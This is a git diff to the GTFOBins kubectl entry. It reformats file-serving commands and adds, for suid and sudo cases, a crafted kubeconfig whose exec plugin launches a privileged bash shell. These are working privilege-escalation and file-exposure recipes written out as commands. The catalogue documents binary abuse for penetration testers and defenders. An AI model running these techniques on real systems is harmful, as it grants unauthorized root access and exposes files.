diff --git a/_gtfobins/kubectl.md b/_gtfobins/kubectl.md index 72cbe468..6753a3d4 100644 --- a/_gtfobins/kubectl.md +++ b/_gtfobins/kubectl.md @@ -1,16 +1,76 @@ --- -description: It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`. functions: file-upload: - code: | LFILE=dir_to_serve kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/ + description: "It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`." suid: - code: | LFILE=dir_to_serve ./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/ - sudo: + description: "It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`." + - code: |- + cat << EOF > /tmp/config + apiVersion: v1 + clusters: + - cluster: + server: https://test + name: kubernetes + contexts: + - context: + cluster: kubernetes + user: kubernetes-admin + name: kubernetes-admin@kubernetes + current-context: kubernetes-admin@kubernetes + kind: Config + preferences: {} + users: + - name: kubernetes-admin + user: + exec: + apiVersion: client.authentication.k8s.io/v1 + command: /bin/bash + args: + - "-p" + - "-c" + - "/bin/bash -p /dev/tty 2>/dev/tty" + interactiveMode: Always + EOF + ./kubectl get pods --kubeconfig=/tmp/config + description: "It pops a new privileged shell using custom configuration" + sudo: - code: | LFILE=dir_to_serve sudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/ + description: "It serves files from a specified directory via HTTP, i.e., `http://:4444/x/`." + - code: |- + cat << EOF > /tmp/config + apiVersion: v1 + clusters: + - cluster: + server: https://test + name: kubernetes + contexts: + - context: + cluster: kubernetes + user: kubernetes-admin + name: kubernetes-admin@kubernetes + current-context: kubernetes-admin@kubernetes + kind: Config + preferences: {} + users: + - name: kubernetes-admin + user: + exec: + apiVersion: client.authentication.k8s.io/v1 + command: /bin/bash + args: + - "-p" + - "-c" + - "/bin/bash -p /dev/tty 2>/dev/tty" + interactiveMode: Always + EOF + sudo kubectl get pods --kubeconfig=/tmp/config + description: "It pops a new privileged shell using custom configuration" ---